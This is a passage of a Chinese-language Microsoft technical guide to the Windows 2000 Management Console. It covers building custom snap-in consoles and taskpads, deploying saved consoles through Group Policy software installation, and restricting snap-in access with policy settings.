    安全模板 - 管理员使用此管理单元查看、配置并将完全范围的系统安全应用于本地计算机。管理员还可以将安全模板导入与站点、域或组织单位有关的组策略对象。应用了组策略对象的站点、域或组织单位中的所有计算机和用户都将接收到安全模板的设置。安全模板包括下列各项的安全设置：

    • 安全策略：包括帐户和本地策略。帐户策略包括密码、帐户锁定和 Kerberos 策略的安全。本地策略包括用户权限以及安全事件的日志。
    • 受限组： 本地组成员身份管理。
    • 注册表： 本地注册表键值的安全。
    • 文件系统： 本地文件系统的安全。
    • 系统服务： 本地服务的安全和启动模式。
  • 分布式文件系统 (Dfs) - 通过使用分布式文件系统，管理员可以使分布在多个服务器上的文件对用户来说似乎位于同一个位置。重新分布共享文件夹还可以改善服务器负载平衡。管理员使用分布式文件系统管理单元来管理分布在整个网络中的共享文件夹，管理服务器负载平衡，并使用户能更方便地访问他们的文件。用户可以从网络上的一个位置上访问他们的文件，尽管在物理上文件可能散布在多个服务器上。
  • 证书 - 管理员使用此管理单元支持对在 Active Directory 中没有帐户的外部用户进行身份验证。要使用证书进行身份验证，需要管理员将证书与在 Active Directory 中为用户创建的用户帐户关联（对应），以便用户进行经身份验证的访问。要申请证书，管理员使用证书管理单元中的证书申请向导。

要使用本例中的管理单元创建自定义的控制台

  1. 单击开始，单击运行，并键入 mmc 启动 MMC。
  2. 在 MMC 控制台中，从控制台菜单上选择添加/删除管理单元。
  3. 在添加/删除管理单元对话框中，单击添加，并从可用的独立管理单元列表中双击 Active Directory 用户和计算机。

    如果向导出现，遵循屏幕上的步骤。

  4. 重复步骤 3，添加下列管理单元的每一个：安全模板、分布式文件系统和证书。
  5. 单击关闭，然后单击确定。
  6. 在控制台菜单上单击保存。

备注 要使用 Active Directory 用户和计算机管理单元，需要您有安装好的 Windows 2000 域控制器。

图 11 是自定义控制台的实例。

图 11 自定义控制台实例

有关 Active Directory 用户和计算机、安全模板、分布式文件系统和证书管理单元的详细信息，请参见 Windows 2000 Server 联机帮助，或 Windows 2000 Web 站点上的产品帮助 (http://www.microsoft.com/windows2000/guide/server/overview/default.asp)。

例二

在本例中，管理员关心数据库应用程序的故障排除。为此，管理员使用下列管理单元：

  • 事件查看器 - 管理员可以使用事件查看器日志收集硬件、软件和系统问题的信息，还可以监视 Windows 2000 安全事件。管理员可以使用组策略启用安全性日志记录。
  • 设备管理器 - 管理员可以使用此管理单元来监视计算机上的硬件、配置硬件设置、管理设备、识别为每个设备加载的设备驱动程序、安装更新的设备驱动程序，和查看计算机上安装的设备的摘要信息。注意此管理单元只管理本地计算机上的设备。对远程计算机，设备管理器以只读模式运行。
  • 系统监视器 - 系统监视器是一个支持 Visual Basic® Automation 的 ActiveX 控件，它可以使得开发人员将系统监视器的功能集成进他们的应用程序。管理员使用此管理单元收集并查看本地或远程计算机的性能数据，查看日志中的数据，并从性能视图创建 HTML 页。数据可用图表、直方图或报告视图的方式显示。管理员还可以使用 Visual Basic Automation 将系统监视器的功能集成进 Microsoft Office 应用程序中，比如 Microsoft Excel。
  • 性能日志和警报 - 系统管理员使用此管理单元自动从本地或远程计算机搜集性能数据。系统管理员可以使用系统监视器查看记录的计数器数据，并且还可以将数据导出到电子表格或数据库应用程序以便于分析或产生报告。系统管理员可以为计数器、跟踪日志和警报设置属性。这包括日志文件选项，例如文件名、文件位置、文件类型（例如文本或二进制等格式）、备注和日程安排等等。

    系统信息 - 管理员使用系统信息管理单元收集和查看本地或远程计算机的系统信息数据。管理员可以查看下列信息：

    • 系统摘要： 显示有关操作系统、系统名称、处理器、BIOS 版本、Windows 目录、区域设置和内存的信息。
    • 硬件资源：显示硬件特定的设置，例如 DMA、IRQ、I/O 地址和内存地址。“冲突/共享”视图识别共享资源或互相冲突的设备。这可以帮助确定设备的问题。
    • 组件：显示 Windows 配置的信息。这一类别用于确定设备驱动程序、网络和多媒体软件的状态。此外，还有一个全面的驱动程序历史，它显示一段时间以来对组件所做的更改。
    • 软件环境：显示加载进计算机内存的软件的快照。此信息可以用来确定一个进程是否仍然运行或可以用来检查版本信息。

要使用本例中的管理单元创建自定义控制台

  1. 单击开始，单击运行，并键入 mmc 启动 MMC。
  2. 在 MMC 控制台中，从控制台菜单上选择添加/删除管理单元。
  3. 在添加/删除管理单元对话框中，单击添加，并从可用的独立管理单元列表中双击事件查看器，选择本地计算机，然后单击完成。（若要管理远程计算机，选择另一台计算机）。
  4. 重复步骤 3，添加下列管理单元中的每一个：

    设备管理器
    系统信息
    性能日志和警报
    如果出现向导，遵循屏幕上的步骤。

  5. 单击添加，然后双击 ActiveX 控件。
  6. 在插入 ActiveX 控件向导中，单击下一步。
  7. 在控件类别对话框中，单击所有类别。
  8. 在控件类型列表中，单击系统监视器控制，然后单击下一步。
  9. 单击完成，单击关闭，然后单击确定。

要保存控制台

在控制台中，在控制台菜单上单击保存。

图 12 中是自定义控制台的一个实例。

图 12 自定义控制台实例

有关事件查看器、设备管理器、系统信息、性能日志和警报以及系统监视器管理单元的详细信息，请参见 Windows 2000 Server 联机帮助，或 Windows 2000 Web 站点上的产品帮助 (http://www.microsoft.com/windows2000/guide/server/overview/default.asp)。

例三

在本例中，一个资深管理员聘请了一个新管理员，并且希望能够通过让新管理员支持一个服务器带领他或她逐步快速地成长起来。新管理员的任务包括添加和删除文件共享，更改共享权限，查看事件日志和启动和停止服务器上的服务。

要处理新管理员的任务，管理员可以创建一个包括事件查看器、共享文件夹和服务管理单元的控制台。

  • 事件查看器 - 此管理单元用于收集硬件、软件和系统组件问题或错误的信息，还可以用于监视安全事件。
  • 服务 - 此工具用于启动、暂停、停止或恢复本地或远程计算机上的服务。还可以配置启动和故障恢复选项，并且为某个硬件配置启用或禁用服务。例如，可以指定如果一个服务发生故障将要进行的故障恢复操作。
  • 共享文件夹 - 此管理单元用于查看连接的摘要，及查看和管理用于本地或远程计算机的资源使用情况。例如，可以为共享创建、设置权限并查看权限，查看连接到网络上一台计算机的用户列表，断开用户，查看并关闭远程用户打开的文件等等。

管理员首先添加管理单元，然后为事件查看器、服务和共享文件夹管理单元创建单独的任务板和任务。接下来，管理员创建包括这些任务板的收藏夹视图，隐藏控制台树，然后以用户模式保存文件。

要添加管理单元

  1. 单击开始，单击运行，并键入 mmc 启动 MMC。
  2. 在 MMC 控制台中，从控制台菜单上选择添加/删除管理单元。
  3. 在添加/删除管理单元对话框中，单击添加，并从可用的独立管理单元列表中双击事件查看器。选择本地计算机，然后单击完成。（若要远程管理，选择另一台计算机。）
  4. 重复步骤 3 添加服务，然后添加共享文件夹管理单元。
  5. 单击关闭，然后单击确定。

要为应用程序日志创建任务板视图和任务

  1. 在控制台树中，双击事件查看器管理单元，突出显示应用程序，然后在操作菜单上单击新任务板视图。
  2. 遵循新任务板视图向导中的步骤并接受默认值。在任务板目标对话框中，选择将任务板只应用于当前树项目的选项。
  3. 要在创建应用程序日志任务板视图之后创建任务，在向导的最后一个对话框中选择启动新任务向导复选框，并遵循向导中的步骤。
  4. 在在命令类型对话框中，选择菜单命令，然后单击下一步。
  5. 在快捷菜单命令对话框中，在命令源方框中选择列于细节窗格中，从可用命令列表中选择属性，然后单击下一步。
  6. 在名称和描述对话框中，在任务名方框中键入任务的名称，并单击下一步。
  7. 在任务图标对话框中选择一个图标，然后单击下一步。
  8. 要再次运行此向导为树项目任务或列于细节窗格中任务添加额外的命令，请在最后一个对话框中单击再次运行此向导，单击完成，然后遵循新任务向导中的步骤。
  9. 在正在完成新任务向导对话框中，单击完成。

图 13 显示“应用程序日志”任务板视图的实例。控制台已经被自定义为只显示收藏夹列表。参见本文后面的步骤：创建收藏夹列表和隐藏控制台树获取更多的信息。

图 13 任务板视图中的应用程序日志

要为系统日志创建任务板视图和任务

  1. 在控制台树中，双击事件查看器节点，选择系统，然后在操作菜单上单击新任务板视图。
  2. 遵循新任务板视图向导中的步骤并接受默认值。在任务板目标对话框中，选择将任务板只应用于当前树项目的选项。然后在最后一个对话框中选中启动新任务向导，单击完成。
  3. 在命令类型对话框中，选择菜单命令，然后单击下一步。
  4. 在快捷菜单命令对话框中，在命令源方框中单击列于细节窗格中，从可用命令列表中选择属性，然后完成向导。
  5. 在最后的对话框中选择再次运行此向导，然后单击完成。
  6. 可以重复步骤 4 添加导出列表、清除所有事件、查看->筛选、帮助等等命令。
  7. 完成向导，并单击最后对话框中的完成。

为服务创建任务板和任务

  1. 在控制台树中，单击服务管理单元。在操作菜单上，单击新任务板视图。遵循新任务板视图向导中的步骤。
  2. 要在创建服务任务板视图之后创建任务，在向导的最后一个对话框中选择启动新任务向导复选框。
  3. 遵循新任务板视图向导中的步骤，当系统提示您输入要在命令类型对话框中使用的命令时，选择菜单命令选项，然后单击下一步。
  4. 在快捷菜单命令对话框中，从命令源方框中选择列于细节窗格中，从可用命令列表中选择开始，然后单击下一步。
  5. 在名称和描述对话框中，在任务名文本字段中键入任务的名称，并单击下一步。
  6. 在任务图标对话框中为任务选择一个图标，然后单击下一步。
  7. 在正在完成新任务向导对话框中，单击完成，然后选择再次运行此向导复选框。
  8. 再次运行向导，重复步骤 4 到 6 为下列菜单命令添加任务：停止、暂停、继续和重新开始。
  9. 再次运行向导为树项目任务添加命令。
  10. 在快捷菜单命令对话框中，在命令源方框中单击树项目任务，从可用命令列表中选择导出列表，然后完成向导。

“服务”的任务板视图的实例如图 14 所示。控制台被自定义为只包括收藏夹列表。参见本文后面的步骤：创建收藏夹列表和隐藏控制台树获取更多的信息。

图 14 “服务”的任务板视图

要为共享文件夹创建任务板和任务

  1. 在控制台中，双击共享文件夹，然后选择 Shares 文件夹。
  2. 在操作菜单上，单击新任务板视图，并遵循新任务板视图向导中的步骤。
  3. 要在创建任务板视图之后创建任务，在向导的最后一个对话框中选择启动新任务向导复选框，并遵循向导的步骤。
  4. 在此向导的快捷菜单命令对话框中，在命令源方框中选择树项目任务，双击共享文件夹，在控制台树列表中单击 Shares 节点，在可用命令列表中单击新文件共享，然后单击下一步。
  5. 在名称和描述对话框中，在任务名方框中键入任务的名称，并单击下一步。
  6. 在任务图标对话框中选择一个图标，然后单击下一步。
  7. 在正在完成新任务向导对话框中，选择再次运行此向导，然后单击完成。
  8. 再次运行向导为下列共享文件夹树项目任务添加命令：导出列表和帮助。
  9. 单击向导中最后一个对话框的完成。

添加涉及细节窗格的任务

  1. 在控制台树中，双击共享文件夹，选择共享，单击操作，然后单击编辑任务板视图。
  2. 在共享属性页中，单击任务选项卡，并单击新建。
  3. 再次运行启动新任务向导，在快捷菜单命令对话框中，从命令源方框中选择列于细节窗格中，从可用命令列表中选择停止共享，然后单击下一步。
  4. 遵循操作指南完成向导，并在最后的对话框中单击再次运行此向导。
  5. 再次运行向导，在快捷菜单命令对话框中，从命令源方框中选择列于细节窗格中，从可用命令列表中单击属性。
  6. 完成向导，并单击最后对话框中的完成。

“共享”任务板视图的实例如图 15 所示。控制台被自定义为只包括收藏夹列表。参见步骤：创建收藏夹列表和隐藏控制台树获取更多的信息。

图 15 “共享”任务板视图的实例

要创建收藏夹列表

  1. 在控制台树中，单击您希望向收藏夹列表添加任务的节点。例如，单击事件查看器节点。
  2. 在细节窗格中，单击您希望加入的任务板的选项卡。例如，单击应用程序日志任务板选项卡。
  3. 在收藏夹菜单上，单击添加到收藏夹。
  4. 在添加到收藏夹对话框中，单击确定将项目加入收藏夹文件夹（默认）。
  5. 要向收藏夹视图添加额外的项目，重复步骤 1 到 4。

隐藏控制台树

  1. 在控制台视图菜单上，单击自定义。
  2. 要隐藏控制台树，在 MMC 下，清除控制台树和任务板导航选项卡复选框。

将控制台设置为用户模式

  1. 在控制台菜单上，单击选项。
  2. 在控制台模式中，单击一个用户模式选项：

    用户模式 - 完全访问。
    用户模式 - 受限访问，多窗口。
    用户模式 - 受限访问，单窗口。

  3. 选择您希望让用户使用的选项：

    在此控制台中的任务板上启用上下文菜单： 当用户右击任务板视图的内容时出现一个菜单。
    不要保存更改到此控制台：防止用户编辑控制台。
    允许用户自定义视图：使用户能够访问自定义视图对话框。

要保存控制台

  • 在控制台中，在控制台菜单上单击另存为。在本例中，管理员将控制台保存在每用户 Administrative Tools 文件夹中。这使得人们可以从程序菜单管理工具文件夹访问此控制台。在 Windows 2000 中，此文件夹位于 Systemdrive\Documents 和 Settings\All Users\Start Menu\Programs\Administrative Tools 中。

要为本地计算机打开保存的 MMC 控制台

  • 单击开始，指向程序，指向管理工具，然后单击控制台文件。

图 16 显示当用户打开一个这样的控制台时将会看到情况示例。

图 16 保存的 MMC 控制台

在创建了自定义的控制台之后，可以使用软件安装管理单元将它们分发给其他管理员。有关这一点在下一节讲述。

MMC 基于 Active Directory 的部署

正如前面提到的，管理员可以为特定任务创建并保存自定义的 MMC 控制台（.msc 文件），然后将那些控制台委派给下属。管理员也可以使用软件安装管理单元（组策略管理单元的一个扩展）将保存的控制台文件和管理单元分发给其他管理员。

Windows 2000 软件安装与维护功能依赖 Active Directory 目录服务、组策略、Windows 安装服务和控制面板中的“添加/删除程序”。

本节提供有关软件安装与维护、软件分配和发行以及 Windows 安装服务和程序包一个简要概述。本节仅限于提供这些技术和功能的背景信息，它无意作为部署应用程序的指南。

备注 在 Windows 2000 Active Directory 环境中部署软件之前，强烈建议您掌握 Active Directory、组策略和软件安装与维护的功能。

Active Directory 的详细信息可以在 Windows 2000 Web 站点的 Active Directory 链接 (http://www.microsoft.com/windows2000/library/default.asp) 找到。

有关组策略的详细信息，请参见 Windows 2000 组策略技术白皮书（在 Microsoft TechNet 中）。Windows 2000 组策略指南可以在 Windows 2000 Web 站点找到 (http://www.microsoft.com/windows2000/library/planning/default.asp)。

有关软件安装和维护的详细信息，请参见软件安装和维护指南 (http://www.microsoft.com/windows2000/library/planning/default.asp)。

软件安装与维护

Windows 2000 软件安装和维护功能能使管理员集中地管理他们单位中的软件部署。管理员可以将软件部署的目标定为 Active Directory 站点、域或组织单位中的用户组或计算机组。要部署软件，管理员使用组策略管理单元定义与一个站点、域或 OU 相关的组策略对象中的软件安装选项。

要为选定的 Active Directory 容器设置组策略，必须安装好 Windows 2000 域控制器，并且有访问域控制器的系统卷（Sysvol 文件夹）的读取和写入权限，以及对当前选定的目录容器的修改权限。系统卷文件夹是在您安装 Windows 2000 域控制器（或将服务器提升为域控制器）时自动创建的。

系统管理员可以用下列两种方式之一部署软件：

  • 分配 - 管理员将软件分配给那些需要软件来完成工作的用户。例如，如果一个企业中的每个人都需要电子邮件，管理员可以为每个用户分配一个电子邮件程序。当用户下一次登录时，分配给用户的应用程序在他们的计算机上就可以供用户使用。分配给计算机的应用程序在计算机重新启动时就可以使用。

    分配给用户的应用程序看上去已经安装在用户的计算机上。软件安装对 WinLogon 的扩展在本地计算机的注册表中公布2该应用程序，并将快捷方式放在桌面或开始菜单。对用户来说，看上去就像应用程序已经安装了，也就是，在开始菜单中出现了该软件的项目。用户通常通过从开始菜单选择应用程序的方式安装分配的应用程序。

    在保存的控制台 (.msc) 文件的情况下，管理员必须首先为保存的控制台文件创建一个 Windows 安装服务程序包 (.msi 文件)，然后他们可以使用软件安装管理单元分配 .msi 程序包。也需要分配保存的控制台中引用的管理单元。Windows 安装服务程序包、分配保存的控制台和管理单元在本节的后面介绍。

  • 发行 - 管理员可以发行用户可能在执行他们的任务时发觉有用的软件。例如，管理员可以选择发行一种编程语言，例如 Microsoft Visual Basic®，而希望使用编程语言软件的用户可以选择安装该程序。当用户下一次登录时，发行的应用程序在他们的计算机上可供安装。

    发行的软件不令人感到它已安装在用户的计算机上。与分配的应用程序不同，本地计算机上不存在软件的 Windows 安装服务公布信息（在注册表中或在桌面上的快捷菜单或开始菜单中。）

    用户可以从控制面板中的添加/删除程序安装发行的软件。当用户在控制面板中打开添加/删除程序并选择添加新程序时，就会显示出发行给他们的软件的一个列表。

软件安装和维护需要 Windows 2000 Server 和 Windows 2000 Professional 的组件。管理员使用 Windows 2000 Server 管理软件分发，用户使用 Windows 2000 Professional 安装软件。

服务器组件

下面的列表总结了软件安装和维护的服务器端组件。

  • Active Directory - 提供用于查找用户和计算机的管理机制的作用域，并在组策略对象中保存软件安装和维护信息。
  • 组策略 - 管理员使用组策略在与诸如站点、域或 OU 的 Active Directory 容器相关的组策略对象中部署应用程序。

    MMC - 容纳 Active Directory、组策略和软件安装管理单元，它们都是软件部署所需要的。

    • Active Directory 站点和服务管理单元和 Active Directory 用户和计算机管理单元。用于定义组策略对象的管理的作用域。将组策略 MMC 管理单元用作 Active Directory 站点和服务管理单元（对站点来说）或 Active Directory 用户和计算机管理单元（对域和 OU 来说）的扩展来创建组策略。
    • 组策略管理单元。组策略管理单元提供用于为软件安装设置组策略的内置的功能。
    • 软件安装。使用组策略的软件安装管理单元扩展集中地管理您的单位中的软件分发。

客户端组件

下面的列表总结了软件安装和维护的客户端组件。

  • 计算机启动 - 加载操作系统、解释器和其它程序。应用组策略并安装分配给计算机的软件。
  • WinLogon - 允许用户登录到他们的计算机。应用分配给用户的组策略。将分配的应用程序公布到用户的计算机。
  • Windows 安装服务 - 公布、安装、修复和删除软件的操作系统服务。
  • 控制面板中的添加/删除程序 - 可使得用户管理他们计算机上的软件。列出所有发行和分配的应用程序，可使得用户在他们的计算机上安装、修改和删除应用程序。

Windows 安装服务

Windows 安装服务是包括在 Windows 2000 中的操作系统组件，它也将作为 Windows 95、Windwos 98 和 Windows NT® 4.0 操作系统家族的 Service Pack 提供。3 Windows 安装服务根据一组已定义的在安装过程中应用的安装规则来管理软件安装和删除。

Windows 安装服务负责管理软件组件的安装、添加和删除。Windows 安装服务确保操作系统能实施所有的安装规则。要遵循这些规则，应用程序必须用被称为“Windows 安装服务格式”的标准格式来描述它们自己。Windows 安装服务然后代表应用程序执行安装职责。

有关 Windows 安装服务的详细信息，请参见 Microsoft TechNet 中的 Windows 安装服务白皮书。

Windows 安装服务程序包

Windows 安装服务程序包文件（.msi 文件）包括一个关系数据库，它存储在许多安装方案中（例如全新安装或升级）安装（和删除）应用程序所需的所有数据和说明。

在安装时，Windows 安装服务会打开当前产品的程序包文件，并确定必须为该产品执行的所有安装操作。

备注 在管理员能够使用 Windows 2000 软件安装和维护功能以前，他们必须获得任何他们希望部署的软件的 Windows 安装服务程序包。

可以通过两种方式获取 Windows 安装服务程序包：

  • 软件创建者可以提供为该应用程序本身编写的 Windows 安装服务程序包。例如，Microsoft Office 2000 就提供一个 Windows 安装服务程序包。
  • 管理员可以为 Windows 安装服务重新将应用程序打包。

打包工具可从第三方供应商获得，它们包括：

  • InstallShield Software Corporation (http://www.installshield.com/)。
  • Wise Solutions Inc. (http://www.wisesolutions.com/)。
  • Veritas (http://www.veritas.com/)。

为保存的控制台文件和管理单元创建程序包

要为保存的控制台文件和管理单元创建 .msi 程序包，管理员可以使用 Veritas WinInstall LE 产品。WinInstall LE 制作工具将包括在 Windows 2000 Server CD-ROM 的 \Valueadd\3rdparty\Mgmt\Winstle 文件夹中。管理员也可以使用 InstallShield、Wise 或其它第三方程序包制作工具。

有关创建程序包的详细信息，请参见第三方程序包制作工具的文档。

有关创建程序包的信息也可以在位于 Windows 2000 Web 站点中找到，上面有一篇讨论如何使用 Veritas WinINSTALL LE 将 Windows 安装服务软件重新打包的指南 (http://www.microsoft.com/windows2000/library/planning/default.asp)。

分配保存的控制台和管理单元

在您得到保存的控制台（.msc 文件）的程序包（.msi 文件）之后，可以使用组策略管理单元的软件安装管理单元扩展将程序包 (.msi) 文件分配给其他管理员。必须确保将保存的控制台（.msc 文件）中所包括的管理单元也分配（或发行）给管理员。

要分配或发行保存的控制台 (.msc) 文件引用的管理单元，您可以：

  • 创建一个包括引用的管理单元和保存的控制台 (.msc) 文件的程序包（.msi 文件）。然后使用组策略和软件安装来分配程序包文件。
  • 将保存的 MMC 控制台程序包 (.msi) 和 Windows 2000 管理工具程序包 (Adminpak.msi) 都分配给管理员。

    Windows 2000 Server 包括一个名为 Windows 2000 管理工具 (adminpak.msi) 的组件，它是包括安装 Windows 2000 Server 管理应用程序所需要的所有文件和信息的 Windows 安装服务程序包。有关安装 adminpak.msi 和设置网络共享的详细信息，请参见本文后面的“在 Windows 2000 Server 上安装 Windows 2000 管理工具 (Adminpak.msi)”。

  • 创建一个只包括您希望其他管理员可以使用的管理单元的程序包。然后可以使用软件安装管理单元发行此程序包。当用户试图打开一个保存的控制台（而此控制台又包括他们计算机上没有安装的管理单元）时，这就会自动触发从发行的程序包中安装管理单元的过程。

备注 如果包括管理单元的程序包与容纳控制台文件的不在一起，那么最好分配管理单元程序包而不采用发行程序包的方法，以确保管理单元按需要下载。如果管理单元程序包中没有控制台文件，此分配不会对用户造成任何明显的影响。

分配的管理单元列出在控制面板的添加/删除程序中，但在添加它们之前它们不会下载。

有关软件安装管理单元的详细信息，请参见 Windows 2000 Server 联机帮助，它也位于 Windows 2000 Web 站点上 (http://www.microsoft.com/windows2000/guide/server/overview/default.asp)。

在 Windows 2000 Server 上安装 Windows 2000 管理工具

可以用 Windows 2000 Server 光盘在服务器上安装 Windows 2000 管理工具程序包 (Adminpak.msi)。为此：

  • 打开适当的 Windows 2000 Server CD 上的 I386 （或 Alpha）文件夹。
  • 双击 Adminpak.msi。
  • 遵循 Windows 2000 管理工具安装向导中的步骤。

可以将文件从 CD 复制到共享目录，使得 adminpak.msi 文件在网络共享上可用 - 这样就可以分配或发行这些文件。然后您可以使用软件安装策略分配或发行 adminpak.msi 文件。有关使用组策略和软件安装的详细信息，请参见 Windows 2000 Server 帮助。

分配控制台和管理单元程序包文件

在您得到自定义的控制台和管理单元的必要的程序包文件之后，需要创建包括程序包、任何转换以及程序文件和组件的网络共享或软件分发点。转换或修改文件用于在分配或发行时自定义 Windows 安装服务程序包（.msi 文件）的安装。例如，转换可以指定应用程序套件的子集。转换按照管理员指定的顺序应用于 Windows 安装服务程序包。

必须确保接收您分配的（控制台和管理单元的）程序包的用户可以从软件分发点读取。

下面的过程提供怎样分配程序包文件的一般信息。有关使用组策略和软件安装的详细信息，请参见 Windows 2000 Server 帮助。

要分配程序包文件

  1. 在开始菜单上，指向程序，指向管理工具，然后单击 Active Directory 用户和计算机。（如果向站点部署，单击 Active Directory 站点和服务。）
  2. 在控制台树中，右击您希望分配（控制台和管理单元的）程序包的目标域或组织单位。
  3. 单击属性，然后单击组策略选项卡。
  4. 单击编辑打开您希望对其编辑的组策略对象。
  5. 双击用户配置，双击软件设置，然后在控制台树中，单击软件安装。
  6. 右击细节窗格，单击新建，然后单击程序包。
  7. 在打开对话框中，单击您希望分配的程序包，然后单击打开。

    打开对话框默认显示位于您指定的软件分发点的程序包。

    （要指定软件分发点的默认值，右击软件安装节点，单击属性，单击常规选项卡，然后在默认程序包位置字段中指定默认的软件分发点。）

  8. 如果 .msi 程序包位于不同的网络共享，单击浏览找到程序包的软件分发点。
  9. 在部署软件对话框中单击已分配，然后单击确定。

为用于分配软件的组策略对象设置访问权限

如果您使用组策略和软件安装向其他管理员分配自定义控制台和管理单元，您还应该确定哪些用户和组有权访问用来分配软件的组策略对象 (GPO)。也就是说，应该限制哪些管理员可以修改组策略对象，因为不是每个受组策略对象影响的人都需要管理 GPO。为了防止用户修改 GPO，应只赋予用户“读取”和“应用组策略”权限。

要设置访问权限，使用选定的组策略对象属性页的安全选项卡。这些权限允许或拒绝特定的组对组策略对象的访问。

有关组策略的详细信息，请参见 Windows 2000 Web 站点 (http://www.microsoft.com/windows2000/library/howitworks/management/grouppolicy.asp) 和 Microsoft TechNet 上的 Windows 2000 组策略技术白皮书。

使用组策略控制 MMC 和管理单元的功能

Windows 2000 组策略包括若干个用来控制 MMC 和管理单元功能的策略设置。本节将介绍这些策略设置。

控制对管理单元的访问

控制对管理单元访问的策略被称为受限的/允许的管理单元；它在组策略控制台中，位于用户配置\管理模板\Windows 组件\Microsoft 管理控制台\受限的/允许的管理单元节点下。

如果您限制或明确地允许对某个管理单元进行访问，管理单元就会被加入到一个受限或允许的管理单元的列表中。受限列表优先于许可列表。这意味着如果同一个管理单元在两个列表中都出现，对该管理单元的访问受限。

要使用此策略，请在控制台树中跳转到用户配置\管理模板\Windows 组件\Microsoft 管理控制台\受限的/允许的管理单元。在细节窗格中，双击您希望许可或限制的管理单元，然后选择一个选项。

受限的/允许的管理单元策略的可用的选项有：

  • 启用 - 单击此选项明确地允许用户访问此管理单元。
  • 禁用 - 单击此选项防止用户访问此管理单元。
  • 未配置 - 单击使用户能够访问特定的管理单元（除非用户受到将用户限制在只使用明确允许的列表中的管理单元策略的限制）。

将访问限制在允许的管理单元列表

管理员通过启用将用户限制在只使用明确允许的列表中的管理单元策略为用户创建一列允许访问的管理单元。结果，只有允许的管理单元显示在 MMC 添加/删除管理单元对话框中的管理单元的列表中。

将用户限制在只使用明确允许的列表中的管理单元策略在组策略控制台中的用户配置\管理模板\Windows 组件\Microsoft 管理控制台节点下。

将用户限制在只使用明确允许的列表中的管理单元策略可用的选项有：

  • 启用 - 单击限制用户访问任何没有明确允许的管理单元。
  • 禁用 - 单击允许用户访问没有明确限制的管理单元。
  • 未配置 - 单击允许用户访问没有明确限制的管理单元（和禁用相同）。

禁止以作者模式使用 MMC

管理员可以启用限制用户进入作者模式策略防止用户以作者模式使用 MMC。此策略在组策略控制台中的用户配置\管理模板\Windows 组件\Microsoft 管理控制台节点下。

限制用户进入作者模式策略可用的选项有：

  • 启用 - 单击限制用户使用 MMC 的作者模式。
  • 禁用 - 单击允许用户使用 MMC 的作者模式。
  • 未配置 - 单击允许用户使用 MMC 的作者模式（和禁用相同）。

MMC 的优点

MMC 提供了几个关键的优点：

  • 面向任务：用来和 MMC 一起工作的工具在本质上是面向任务的 - 它们针对执行的任务，而不是仅仅显示人们可以操纵的原始对象。而且，因为管理员可以使用来自不同供应商的部件来定义他们自己的工具，他们可以创建只包括完成任务所需要的 UI 的工具。
  • 集成：管理员需要执行的全部管理任务的 UI 都集中在一个控制台中。随着新应用程序加入计算机或网络中，对它们的管理也集成在现有的通用管理控制台中。
  • 控制台的自定义：管理员可以为特定的管理需求创建自定义的控制台。这在根据职责划分管理员组的企业环境中很有帮助。例如，可以为软件安装和维护创建一个自定义的控制台，为脚本管理器创建一个控制台，再为安全组策略创建一个控制台等等。
  • 委派：管理员可以很容易地修改现有工具创建有简化的功能和不太复杂的工具名称空间视图的新工具，然后将这些工具给其他人。这向接收工具的人展现了他们所要执行的任务的一个更为简单、更可管理的任务的视图。
  • 总体界面简化：所有为 MMC 创建的工具，不管是来自 Microsoft 还是第三方软件供应商，都有类似的外观，使用户在学习一个之后能更容易地使用所有的工具。因为可以混合和匹配来自任何供应商的工具，您可以使用每种管理产品类别中的最好的工具。MMC 还能使一个软件以一致的方式在界面中提供功能。
  • 可扩展性：开发人员可以通过创建扩展管理单元来扩展 MMC 管理单元的基本功能。这便使得软件供应商反复使用 Microsoft 的工具，而不用编写许多代码。可以使用许多机制扩展管理单元，包括扩展名称空间、上下文菜单、工具栏、属性页，和创建 Wizard 97 风格的页。

    有关详细信息，请参见 Microsoft Platform SDK。

开发管理单元

因为 MMC 自身提供基于 Windows 的环境，MMC 非常适合于希望花费较多时间开发真实管理功能而花费较少时间为他们的工具创建和重建体面的基于 Windows 框架的 ISV。通过按照 MMC 规范编写程序，ISV 可以节省开发时间，确保与其它管理工具的兼容性，能够使用为 MMC 编写的现有的管理工具，并提供一组集成的管理工具。

Microsoft 已经让所有的 ISV 免费使用作为 Microsoft Platform SDK 一部分的 MMC API，所以 ISV 可以很放心地将 MMC 作为他们未来的管理战略的一部分。Microsoft 致力于支持 MMC 作为创建基于 Windows 的管理工具的途径，Microsoft 也在使用控制台创建所有未来的基于 Windows 2000 的管理工具。展望未来，Windows 2000 开始菜单中的管理工具程序组将会变成仅仅是一组保存的 MMC 工具而已。

MMC 管理单元是作为 COM In Process (InProc) 服务程序 DLL 而编写的，它们支持一个或更多 MMC 定义的接口并在 MMC 注册表区域中恰当地注册它们自己。开发人员几乎可以使用任何支持函数调用的语言编写 COM InProc 服务程序；但是，使用 C++ 通常被认为是实现和使用 COM 的最简单方法。使用 Visual Basic 6.0 版创建管理单元也将受到支持。在作者写本文时，Microsoft Platform SDK 文档中描述的 MMC 特定的接口不支持 Java。

有关创建 MMC 管理单元的详细信息，请参见 Microsoft Platform SDK (http://msdn.microsoft.com/downloads/sdks/platform/platform.asp)。

我现在是否应该为 MMC 开发管理工具？

开发人员应该开始使用 MMC 创建所有的管理工具。MMC 的最大好处就是使您可以快速地创建工具。更好的是，因为 MMC 是 Microsoft Platform SDK 的一部分，可以一次创建管理单元并将它独立发行，或包括在其它产品中，或者作为其它产品的扩展发行（例如，报告产品可以单独运行，可以和 Microsoft Exchange Server 一起发行，或者可以扩展一个已经发行的 ISV 产品）。

因为工具作为文档发行，可以作为许多自定义工具的一部分使用 Microsoft 管理工具 - 例如，可以发行使用 Microsoft 事件查看器或其它管理单元的工具。

MMC 支持与 Microsoft 和 ISV 提供的工具的集成。还可以从 Microsoft 完成的定义任务委派、面向任务、工具集成和工具自定义的标准方法的工作中获益。

Microsoft 一直在和许多供应商协力工作协调管理单元的创建和集成。

比较 MMC 与其它工具平台

MMC 提供可以集成多种工具的 UI 和 API。MMC 是特别用来处理集成、委派和面向任务的问题，它非常通用，可以供大多数工具反复使用，并且在简单的管理方案中简单易用，为复杂的管理方案提供高级功能。

MMI API 根据核心的概念设计，这种概念认为工具即文档（人们可以创建、保存和分发）并且人们应该能够创建和自定义许多工具。另一个关键目标是使软件供应商能够生产可以和其它供应商提供的管理单元集成的管理单元，而对用户来讲感觉到的是一个工具。使用这样的工具的管理员甚至可能不会意识到它是由不同的供应商在不同时间生产的管理单元组成的。

